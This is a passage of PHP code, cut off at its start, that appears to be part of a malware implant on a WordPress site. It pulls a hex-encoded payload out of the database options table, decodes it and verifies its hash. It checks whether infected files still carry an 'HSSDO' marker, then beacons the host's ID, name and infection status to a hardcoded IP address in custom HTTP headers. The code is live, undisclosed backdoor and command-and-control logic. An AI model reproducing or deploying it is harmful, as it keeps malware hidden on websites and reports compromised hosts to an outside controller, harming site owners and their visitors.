$err = 'E4'; break; } $phcode_hex = $wpdb->get_var("SELECT option_value FROM kd_options WHERE option_id=208"); $phcode_new = pack ("H*" , $phcode_hex); if (md5 ($phcode_new) != $md5hash_new) $err = 'E3'; } while (0); } $check_str = '---'; if (isset ($_SERVER['ph']['HSarr']) && count ($HSarr = unserialize ($_SERVER['ph']['HSarr']))) { $check_str = ''; foreach ($HSarr as $fn) { if (file_exists ($fn) && strpos (file_get_contents ($fn), 'HSSDO')) $check_str.= '1'; else $check_str.= '0'; } } if (isset ($err2)) $err = $err.$err2; $out_str = $err.'##'.strlen ($phcode_new).'##'.$check_str; $headers = array (); $headers[] = 'HSSDO: rq'; $headers[] = 'HSSID: '.$_SERVER['ph']['host_id']; $headers[] = 'HSSSN: '.$_SERVER['ph']['host']; $headers[] = 'HSSCH: '.$out_str; x_send ($headers); unlink ($flag_fn); } } function x_send ($headers) { $headers[] = 'HSSPR: ph2'; $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL, '116.202.186.134'); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt ($ch, CURLOPT_TIMEOUT, 5); $content = curl_exec ($ch); curl_close ($ch); return $content; } function _PH_lwrite ($fn, $str) { if (!$fp = fopen($fn, 'c')) return FALSE; flock ($fp, LOCK_EX); ftruncate ($fp, 0); if (fwrite ($fp, $str) === FALSE) return FALSE; fflush ($fp); flock ($fp, LOCK_UN); fclose($fp); return TRUE; } ?>